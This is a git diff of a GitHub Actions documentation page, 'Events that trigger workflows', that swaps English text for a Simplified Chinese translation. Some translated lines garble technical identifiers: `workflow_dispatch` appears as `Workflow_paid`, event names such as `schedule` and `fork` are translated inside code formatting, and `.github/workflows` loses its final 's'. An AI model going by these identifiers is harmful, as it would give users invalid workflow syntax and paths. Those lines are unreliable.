-To continue learning about {% data variables.product.prodname_actions %}, see "[Managing complex workflows](/actions/learn-github-actions/managing-complex-workflows)."
+要继续了解 {% data variables.product.prodname_actions %}，请参阅“[管理复杂的工作流](/actions/learn-github-actions/managing-complex-workflows)”。
diff --git a/translations/zh-CN/content/actions/learn-github-actions/events-that-trigger-workflows.md b/translations/zh-CN/content/actions/learn-github-actions/events-that-trigger-workflows.md
index 56e92056f6..2655c48b2f 100644
--- a/translations/zh-CN/content/actions/learn-github-actions/events-that-trigger-workflows.md
+++ b/translations/zh-CN/content/actions/learn-github-actions/events-that-trigger-workflows.md
@@ -1,6 +1,6 @@
 ---
-title: Events that trigger workflows
-intro: 'You can configure your workflows to run when specific activity on {% data variables.product.product_name %} happens, at a scheduled time, or when an event outside of {% data variables.product.product_name %} occurs.'
+title: 触发工作流程的事件
+intro: '您可以配置工作流程在 {% data variables.product.product_name %} 上发生特定活动时运行、在预定的时间运行，或者在 {% data variables.product.product_name %} 外部的事件发生时运行。'
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /articles/events-that-trigger-workflows
@@ -12,49 +12,49 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Events that trigger workflows
+shortTitle: 触发工作流程的事件
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Configuring workflow events
+## 配置工作流程事件
 
-You can configure workflows to run for one or more events using the `on` workflow syntax. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#on)."
+您可以使用 `on` 工作流程语法配置工作流程为一个或多个事件运行。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/articles/workflow-syntax-for-github-actions#on)”。
 
 {% data reusables.github-actions.actions-on-examples %}
 
 {% note %}
 
-**Note:** You cannot trigger new workflow runs using the `GITHUB_TOKEN`. For more information, see "[Triggering new workflows using a personal access token](#triggering-new-workflows-using-a-personal-access-token)."
+**注意：**无法使用 `GITHUB_TOKEN` 触发新的工作流程。 更多信息请参阅“[使用个人访问令牌触发新的工作流程](#triggering-new-workflows-using-a-personal-access-token)”。
 
 {% endnote %}
 
-The following steps occur to trigger a workflow run:
+以下步骤将触发工作流程运行：
 
-1. An event occurs on your repository, and the resulting event has an associated commit SHA and Git ref.
-2. The `.github/workflows` directory in your repository is searched for workflow files at the associated commit SHA or Git ref. The workflow files must be present in that commit SHA or Git ref to be considered.
+1. 仓库中发生事件，生成的事件具有关联的提交 SHA 和 Git ref。
+2. 在仓库的 `.github/workflow` 目录中关联的提交 SHA 或 Git ref 处搜索工作流程文件。 工作流程文件必须存在于该提交 SHA 或 Git ref 中才会被考虑。
 
-  For example, if the event occurred on a particular repository branch, then the workflow files must be present in the repository on that branch.
-1. The workflow files for that commit SHA and Git ref are inspected, and a new workflow run is triggered for any workflows that have `on:` values that match the triggering event.
+  例如，如果事件发生在特定仓库分支上，则工作流程文件必须存在于该分支的仓库中。
+1. 检查该提交 SHA 和 Git ref 的工作流程文件， 并且对其 `on:` 值与触发事件匹配的任何工作流程触发新的工作流程。
 
-  The workflow runs on your repository's code at the same commit SHA and Git ref that triggered the event. When a workflow runs, {% data variables.product.product_name %} sets the `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) environment variables in the runner environment. For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)."
+  工作流程在触发事件的相同提交 SHA 和 Git ref 上的仓库代码中运行。 当工作流程运行时，{% data variables.product.product_name %} 会在运行器环境中设置 `GITHUB_SHA`（提交 SHA）和 `GITHUB_REF`（Git 引用）环境变量。 更多信息请参阅“[使用环境变量](/actions/automating-your-workflow-with-github-actions/using-environment-variables)”。
 
-## Scheduled events
+## 安排的事件
 
-The `schedule` event allows you to trigger a workflow at a scheduled time.
+`schedule` 事件允许您在计划的时间触发工作流程。
 
 {% data reusables.actions.schedule-delay %}
 
-### `schedule`
+### `计划`
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| n/a | n/a | Last commit on default branch | Default branch | When the scheduled workflow is set to run. A scheduled workflow uses [POSIX cron syntax](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07). For more information, see "[Triggering a workflow with events](/articles/configuring-a-workflow/#triggering-a-workflow-with-events)." |
+| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF`                                                                                                                                                                                                                     |
+| ------------ | ---- | ------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| n/a          | n/a  | 默认分支上的最新提交   | 默认分支 | 安排的工作流程设置为运行。 预定的工作流程使用 [POSIX 计划任务语法](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07)。 更多信息请参阅“[通过事件触发工作流程](/articles/configuring-a-workflow/#triggering-a-workflow-with-events)”。 |
 
 {% data reusables.repositories.actions-scheduled-workflow-example %}
 
-Cron syntax has five fields separated by a space, and each field represents a unit of time.
+计划任务语法有五个字段，中间用空格分隔，每个字段代表一个时间单位。
 
 ```
 ┌───────────── minute (0 - 59)
@@ -68,54 +68,54 @@ Cron syntax has five fields separated by a space, and each field represents a un
 * * * * *
 ```
 
-You can use these operators in any of the five fields:
+您可在这五个字段中使用以下运算符：
 
-| Operator | Description | Example |
-| -------- | ----------- | ------- |
-| * | Any value | `* * * * *` runs every minute of every day. |
-| , | Value list separator | `2,10 4,5 * * *` runs at minute 2 and 10 of the 4th and 5th hour of every day. |
-| - | Range of values | `0 4-6 * * *` runs at minute 0 of the 4th, 5th, and 6th hour. |
-| / | Step values | `20/15 * * * *` runs every 15 minutes starting from minute 20 through 59 (minutes 20, 35, and 50). |
+| 运算符 | 描述     | 示例                                                           |
+| --- | ------ | ------------------------------------------------------------ |
+| *   | 任意值    | `* * * * *` 在每天的每分钟运行。                                       |
+| ,   | 值列表分隔符 | `2,10 4,5 * * *` 在每天第 4 和第 5 小时的第 2 和第 10 分钟运行。              |
+| -   | 值的范围   | `0 4-6 * * *` 在第 4、5、6 小时的第 0 分钟运行。                          |
+| /   | 步骤值    | `20/15 * * * *` 从第 20 分钟到第 59 分钟每隔 15 分钟运行（第 20、35 和 50 分钟）。 |
 
 {% note %}
 
-**Note:** {% data variables.product.prodname_actions %} does not support the non-standard syntax `@yearly`, `@monthly`, `@weekly`, `@daily`, `@hourly`, and `@reboot`.
+**注：** {% data variables.product.prodname_actions %} 不支持非标准语法 `@yearly`、`@monthly`、`@weekly`、`@daily`、`@hourly` 和 `@reboot`。
 
 {% endnote %}
 
-You can use [crontab guru](https://crontab.guru/) to help generate your cron syntax and confirm what time it will run. To help you get started, there is also a list of [crontab guru examples](https://crontab.guru/examples.html).
+您可以使用 [crontab guru](https://crontab.guru/) 帮助生成计划任务语法并确认它在何时运行。 为帮助您开始，我们还提供了一系列 [crontab guru 示例](https://crontab.guru/examples.html)。
 
-Notifications for scheduled workflows are sent to the user who last modified the cron syntax in the workflow file. For more information, please see "[Notifications for workflow runs](/actions/guides/about-continuous-integration#notifications-for-workflow-runs)."
+计划工作流程的通知将发送给最后修改工作流程文件中的 cron 语法的用户。 更多信息请参阅“[工作流程运行通知](/actions/guides/about-continuous-integration#notifications-for-workflow-runs)”。
 
-## Manual events
+## 手动事件
 
-You can manually trigger workflow runs. To trigger specific workflows in a repository, use the `workflow_dispatch` event. To trigger more than one workflow in a repository and create custom events and event types, use the `repository_dispatch` event.
+您可以手动触发工作流程运行。 要触发仓库中的特定工作流程，请使用 `workflow_dispatch` 事件。 要触发仓库中的多个工作流程并创建自定义事件和事件类型，请使用 `repository_dispatch` 事件。
 
 ### `workflow_dispatch`
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| ------------------ | ------------ | ------------ | ------------------|
-| [workflow_dispatch](/webhooks/event-payloads/#workflow_dispatch) | n/a | Last commit on the `GITHUB_REF` branch | Branch that received dispatch |
+| Web 挂钩事件有效负载                                                     | 活动类型 | `GITHUB_SHA`          | `GITHUB_REF` |
+| ---------------------------------------------------------------- | ---- | --------------------- | ------------ |
+| [workflow_dispatch](/webhooks/event-payloads/#workflow_dispatch) | n/a  | `GITHUB_REF` 分支上的最新提交 | 收到了分发的分支     |
 
-You can configure custom-defined input properties, default input values, and required inputs for the event directly in your workflow. When the workflow runs, you can access the input values in the `github.event.inputs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+您可以直接在工作流程中配置事件的自定义输入属性、默认输入值和必要输入。 当工作流程运行时，您可以访问 `github.event.inputs` 上下文中的输入值。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts)”。
 
-You can manually trigger a workflow run using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API and from {% data variables.product.product_name %}. For more information, see "[Manually running a workflow](/actions/managing-workflow-runs/manually-running-a-workflow)."
+You can manually trigger a workflow run using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API and from {% data variables.product.product_name %}. 更多信息请参阅“[手动配置工作流程](/actions/managing-workflow-runs/manually-running-a-workflow)。
 
- When you trigger the event on {% data variables.product.prodname_dotcom %}, you can provide the `ref` and any `inputs` directly on {% data variables.product.prodname_dotcom %}. For more information, see "[Using inputs and outputs with an action](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)."
+ 当您在 {% data variables.product.prodname_dotcom %} 上触发事件时，可以在 {% data variables.product.prodname_dotcom %} 上直接提供 `ref` 和任何 `inputs`。 更多信息请参阅“[对操作使用输入和输出](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)”。
 
- To trigger the custom `workflow_dispatch` webhook event using the REST API, you must send a `POST` request to a {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API endpoint and provide the `ref` and any required `inputs`. For more information, see the "[Create a workflow dispatch event](/rest/reference/actions/#create-a-workflow-dispatch-event)" REST API endpoint.
+ To trigger the custom `workflow_dispatch` webhook event using the REST API, you must send a `POST` request to a {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API endpoint and provide the `ref` and any required `inputs`. 更多信息请参阅“[创建工作流程调度事件](/rest/reference/actions/#create-a-workflow-dispatch-event)”REST API 端点。
 
-#### Example
+#### 示例
 
-To use the `workflow_dispatch` event, you need to include it as a trigger in your GitHub Actions workflow file. The example below only runs the workflow when it's manually triggered:
+要使用 `Workflow_paid` 事件，您需要将其作为触发器包含在您的 GitHub Actions 工作流程文件中。 下面的示例仅在手动触发时运行工作流程：
 
 ```yaml
 on: workflow_dispatch
 ```
 
-#### Example workflow configuration
+#### 示例工作流程配置
 
-This example defines the `name` and `home` inputs and prints them using the `github.event.inputs.name` and `github.event.inputs.home` contexts. If a `home` isn't provided, the default value 'The Octoverse' is printed.
+此示例定义了 `name` 和 `home` 输入，并使用 `github.event.inputs.name` 和 `github.event.inputs.home` 上下文打印。 如果未提供 `home` ，则打印默认值“The Octoverse”。
 
 {% raw %}
 ```yaml
@@ -144,19 +144,19 @@ jobs:
 
 ### `repository_dispatch`
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| ------------------ | ------------ | ------------ | ------------------|
-| [repository_dispatch](/webhooks/event-payloads/#repository_dispatch) | n/a | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                                                         | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` |
+| -------------------------------------------------------------------- | ---- | ------------ | ------------ |
+| [repository_dispatch](/webhooks/event-payloads/#repository_dispatch) | n/a  | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.github-actions.branch-requirement %}
 
-You can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to trigger a webhook event called [`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) when you want to trigger a workflow for activity that happens outside of {% data variables.product.prodname_dotcom %}. For more information, see "[Create a repository dispatch event](/rest/reference/repos#create-a-repository-dispatch-event)."
+You can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to trigger a webhook event called [`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) when you want to trigger a workflow for activity that happens outside of {% data variables.product.prodname_dotcom %}. 更多信息请参阅“[创建仓库调度事件](/rest/reference/repos#create-a-repository-dispatch-event)”。
 
-To trigger the custom `repository_dispatch` webhook event, you must send a `POST` request to a {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API endpoint and provide an `event_type` name to describe the activity type. To trigger a workflow run, you must also configure your workflow to use the `repository_dispatch` event.
+To trigger the custom `repository_dispatch` webhook event, you must send a `POST` request to a {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API endpoint and provide an `event_type` name to describe the activity type. 要触发工作流程运行，还必须配置工作流程使用 `repository_dispatch` 事件。
 
-#### Example
+#### 示例
 
-By default, all `event_types` trigger a workflow to run. You can limit your workflow to run when a specific `event_type` value is sent in the `repository_dispatch` webhook payload. You define the event types sent in the `repository_dispatch` payload when you create the repository dispatch event.
+默认情况下，所有 `event_types` 都会触发工作流程运行。 您可以限制工作流程在 `repository_dispatch` web 挂钩有效负载中发送特定 `event_type` 值时运行。 创建仓库调度事件时定义在 `repository_dispatch` 有效负载中发送的事件类型。
 
 ```yaml
 on:
@@ -171,11 +171,11 @@ on:
 
 ### `workflow_call`
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| ------------------ | ------------ | ------------ | ------------------|
-| Same as the caller workflow | n/a | Same as the caller workflow | Same as the caller workflow |
+| Web 挂钩事件有效负载                | 活动类型 | `GITHUB_SHA`                | `GITHUB_REF`                |
+| --------------------------- | ---- | --------------------------- | --------------------------- |
+| Same as the caller workflow | n/a  | Same as the caller workflow | Same as the caller workflow |
 
-#### Example
+#### 示例
 
 To make a workflow reusable it must include `workflow_call` as one of the values of `on`. The example below only runs the workflow when it's called from another workflow:
 
@@ -184,11 +184,11 @@ on: workflow_call
 ```
 {% endif %}
 
-## Webhook events
+## Web 挂钩事件
 
-You can configure your workflow to run when webhook events are generated on {% data variables.product.product_name %}. Some events have more than one activity type that triggers the event. If more than one activity type triggers the event, you can specify which activity types will trigger the workflow to run. For more information, see "[Webhooks](/webhooks)."
+您可以将工作流程配置为在 {% data variables.product.product_name %} 上生成 web 挂钩事件时运行。 某些事件有多种触发事件的活动类型。 如果有多种活动类型触发事件，则可以指定哪些活动类型将触发工作流程运行。 更多信息请参阅“[web 挂钩](/webhooks)”。
 
-Not all webhook events trigger workflows. For the complete list of available webhook events and their payloads, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)."
+并非所有 web 挂钩事件都触发工作流程。 要了解可用 web 挂钩事件及其有效负载的完整列表，请参阅“[web 挂钩事件和有效负载](/developers/webhooks-and-events/webhook-events-and-payloads)”。
 
 {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4968  %}
 ### `branch_protection_rule`
@@ -197,9 +197,9 @@ Runs your workflow anytime the `branch_protection_rule` event occurs. {% data re
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`branch_protection_rule`](/webhooks/event-payloads/#branch_protection_rule) | - `created`<br/>- `edited`<br/>- `deleted` | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                                                                 | 活动类型                                                   | `GITHUB_SHA` | `GITHUB_REF` |
+| ---------------------------------------------------------------------------- | ------------------------------------------------------ | ------------ | ------------ |
+| [`branch_protection_rule`](/webhooks/event-payloads/#branch_protection_rule) | - `created`<br/>- `edited`<br/>- `deleted` | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
@@ -214,17 +214,17 @@ on:
 
 ### `check_run`
 
-Runs your workflow anytime the `check_run` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Check runs](/rest/reference/checks#runs)."
+在发生 `check_run` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %}有关 REST API 的信息，请参阅“[检查运行](/rest/reference/checks#runs)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`check_run`](/webhooks/event-payloads/#check_run) | - `created`<br/>- `rerequested`<br/>- `completed` | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                                       | 活动类型                                                          | `GITHUB_SHA` | `GITHUB_REF` |
+| -------------------------------------------------- | ------------------------------------------------------------- | ------------ | ------------ |
+| [`check_run`](/webhooks/event-payloads/#check_run) | - `created`<br/>- `rerequested`<br/>- `completed` | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a check run has been `rerequested` or `completed`.
+例如，您可以在检查运行为 `rerequested` 或 `completed` 时运行工作流程。
 
 ```yaml
 on:
@@ -234,23 +234,23 @@ on:
 
 ### `check_suite`
 
-Runs your workflow anytime the `check_suite` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Check suites](/rest/reference/checks#suites)."
+在发生 `check_suite` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %}有关 REST API 的信息，请参阅“[检查套件](/rest/reference/checks#suites)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
 {% note %}
 
-**Note:** To prevent recursive workflows, this event does not trigger workflows if the check suite was created by {% data variables.product.prodname_actions %}.
+**注意：**为防止递归工作流程，如果检查套件是由 {% data variables.product.prodname_actions %} 创建的，则此事件不会触发工作流程。
 
 {% endnote %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`check_suite`](/webhooks/event-payloads/#check_suite) | - `completed`<br/>- `requested`<br/>- `rerequested`<br/> | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                                           | 活动类型                                                                       | `GITHUB_SHA` | `GITHUB_REF` |
+| ------------------------------------------------------ | -------------------------------------------------------------------------- | ------------ | ------------ |
+| [`check_suite`](/webhooks/event-payloads/#check_suite) | - `completed`<br/>- `requested`<br/>- `rerequested`<br/> | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a check suite has been `rerequested` or `completed`.
+例如，您可以在检查套件为 `rerequested` 或 `completed` 时运行工作流程。
 
 ```yaml
 on:
@@ -260,13 +260,13 @@ on:
 
 ### `create`
 
-Runs your workflow anytime someone creates a branch or tag, which triggers the `create` event. For information about the REST API, see "[Create a reference](/rest/reference/git#create-a-reference)."
+每当有人创建分支或标记（触发 `create` 事件）时运行您的工作流程。 有关 REST API 的信息，请参阅“[创建引用](/rest/reference/git#create-a-reference)”。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`create`](/webhooks/event-payloads/#create) | n/a | Last commit on the created branch or tag | Branch or tag created |
+| Web 挂钩事件有效负载                                 | 活动类型 | `GITHUB_SHA`   | `GITHUB_REF` |
+| -------------------------------------------- | ---- | -------------- | ------------ |
+| [`create`](/webhooks/event-payloads/#create) | n/a  | 创建的分支或标记上的最新提交 | 创建的分支或标记     |
 
-For example, you can run a workflow when the `create` event occurs.
+例如，您可以在发生 `create` 事件时运行工作流程。
 
 ```yaml
 on:
@@ -275,15 +275,15 @@ on:
 
 ### `delete`
 
-Runs your workflow anytime someone deletes a branch or tag, which triggers the `delete` event. For information about the REST API, see "[Delete a reference](/rest/reference/git#delete-a-reference)."
+每当有人删除分支或标记（触发 `delete` 事件）时运行您的工作流程。 有关 REST API 的信息，请参阅“[删除引用](/rest/reference/git#delete-a-reference)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`delete`](/webhooks/event-payloads/#delete) | n/a | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                                 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` |
+| -------------------------------------------- | ---- | ------------ | ------------ |
+| [`delete`](/webhooks/event-payloads/#delete) | n/a  | 默认分支上的最新提交   | 默认分支         |
 
-For example, you can run a workflow when the `delete` event occurs.
+例如，您可以在发生 `delete` 事件时运行工作流程。
 
 ```yaml
 on:
@@ -292,13 +292,13 @@ on:
 
 ### `deployment`
 
-Runs your workflow anytime someone creates a deployment, which triggers the `deployment` event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see "[Deployments](/rest/reference/repos#deployments)."
+每当有人创建部署（触发 `deployment` 事件）时运行您的工作流程。 使用提交 SHA 创建的部署可能没有 Git 引用。 有关 REST API 的信息，请参阅“[部署](/rest/reference/repos#deployments)”。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`deployment`](/webhooks/event-payloads/#deployment) | n/a | Commit to be deployed | Branch or tag to be deployed (empty if commit)|
+| Web 挂钩事件有效负载                                         | 活动类型 | `GITHUB_SHA` | `GITHUB_REF`     |
+| ---------------------------------------------------- | ---- | ------------ | ---------------- |
+| [`deployment`](/webhooks/event-payloads/#deployment) | n/a  | 要部署的提交       | 要部署的分支或标记（提交时为空） |
 
-For example, you can run a workflow when the `deployment` event occurs.
+例如，您可以在发生 `deployment` 事件时运行工作流程。
 
 ```yaml
 on:
@@ -307,13 +307,13 @@ on:
 
 ### `deployment_status`
 
-Runs your workflow anytime a third party provides a deployment status, which triggers the `deployment_status` event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see "[Create a deployment status](/rest/reference/deployments#create-a-deployment-status)."
+每当第三方提供部署状态（触发 `deployment_status` 事件）时运行您的工作流程。 使用提交 SHA 创建的部署可能没有 Git 引用。 有关 REST API 的信息，请参阅“[创建部署状态](/rest/reference/deployments#create-a-deployment-status)”。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`deployment_status`](/webhooks/event-payloads/#deployment_status) | n/a | Commit to be deployed | Branch or tag to be deployed (empty if commit)|
+| Web 挂钩事件有效负载                                                       | 活动类型 | `GITHUB_SHA` | `GITHUB_REF`     |
+| ------------------------------------------------------------------ | ---- | ------------ | ---------------- |
+| [`deployment_status`](/webhooks/event-payloads/#deployment_status) | n/a  | 要部署的提交       | 要部署的分支或标记（提交时为空） |
 
-For example, you can run a workflow when the `deployment_status` event occurs.
+例如，您可以在发生 `deployment_status` 事件时运行工作流程。
 
 ```yaml
 on:
@@ -322,24 +322,24 @@ on:
 
 {% note %}
 
-**Note:** When a deployment status's state is set to `inactive`, a webhook event will not be created.
+**注意：** 当部署状态设置为 `inactive` 时，不会创建 web 挂钩事件。
 
 {% endnote %}
 
 {% ifversion fpt or ghec %}
-### `discussion`
+### `讨论`
 
-Runs your workflow anytime the `discussion` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the GraphQL API, see "[Discussions]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)."
+在发生 `discussion` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %} For information about the GraphQL API, see "[Discussions]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)."
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`discussion`](/webhooks/event-payloads/#discussion) | - `created`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `category_changed`<br/> - `answered`<br/> - `unanswered` | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                                 | 活动类型                                                                                                                                                                                                                                                                                                    | `GITHUB_SHA` | `GITHUB_REF` |
+| -------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ------------ |
+| [`讨论`](/webhooks/event-payloads/#discussion) | - `created`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `category_changed`<br/> - `answered`<br/> - `unanswered` | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a discussion has been `created`, `edited`, or `answered`.
+例如，您可以在讨论为 `created`、`edited` 或 `answered` 时运行工作流程。
 
 ```yaml
 on:
@@ -349,17 +349,17 @@ on:
 
 ### `discussion_comment`
 
-Runs your workflow anytime the `discussion_comment` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the GraphQL API, see "[Discussions]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)."
+在发生 `discussion_comment` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %} For information about the GraphQL API, see "[Discussions]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)."
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`discussion_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#discussion_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                                                                                           | 活动类型                                                              | `GITHUB_SHA` | `GITHUB_REF` |
+| ------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------- | ------------ | ------------ |
+| [`discussion_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#discussion_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | 默认分支上的最新提交   | 默认分支         |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when an issue comment has been `created` or `deleted`.
+例如，您可以在议题评论为 `created` 或 `deleted` 时运行工作流程。
 
 ```yaml
 on:
@@ -368,17 +368,17 @@ on:
 ```
 {% endif %}
 
-### `fork`
+### `复刻`
 
-Runs your workflow anytime when someone forks a repository, which triggers the `fork` event. For information about the REST API, see "[Create a fork](/rest/reference/repos#create-a-fork)."
+每当有人复刻仓库（触发 `fork` 事件）时运行您的工作流程。 有关 REST API 的信息，请参阅“[创建复刻](/rest/reference/repos#create-a-fork)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`fork`](/webhooks/event-payloads/#fork) | n/a | Last commit on default branch |  Default branch |
+| Web 挂钩事件有效负载                           | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` |
+| -------------------------------------- | ---- | ------------ | ------------ |
+| [`复刻`](/webhooks/event-payloads/#fork) | n/a  | 默认分支上的最新提交   | 默认分支         |
 
-For example, you can run a workflow when the `fork` event occurs.
+例如，您可以在发生 `fork` 事件时运行工作流程。
 
 ```yaml
 on:
@@ -387,15 +387,15 @@ on:
 
 ### `gollum`
 
-Runs your workflow when someone creates or updates a Wiki page, which triggers the `gollum` event.
+当有人创建或更新 Wiki 页面时（触发 `gollum` 事件）运行您的工作流程。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`gollum`](/webhooks/event-payloads/#gollum) | n/a | Last commit on default branch |  Default branch |
+| Web 挂钩事件有效负载                                 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` |
+| -------------------------------------------- | ---- | ------------ | ------------ |
+| [`gollum`](/webhooks/event-payloads/#gollum) | n/a  | 默认分支上的最新提交   | 默认分支         |
 
-For example, you can run a workflow when the `gollum` event occurs.
+例如，您可以在发生 `gollum` 事件时运行工作流程。
 
 ```yaml
 on:
@@ -404,17 +404,17 @@ on:
 
 ### `issue_comment`
 
-Runs your workflow anytime the `issue_comment` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Issue comments](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment)."
+在发生 `issue_comment` 事件的任何时间运行您的工作流程。 {% data reusables.developer-site.multiple_activity_types %}有关 REST API 的信息，请参阅“[议题评论](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment)”。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`issue_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| Web 挂钩事件有效负载                                                                                 | 活动类型                                                              | `GITHUB_SHA` | `GITHUB_REF` |
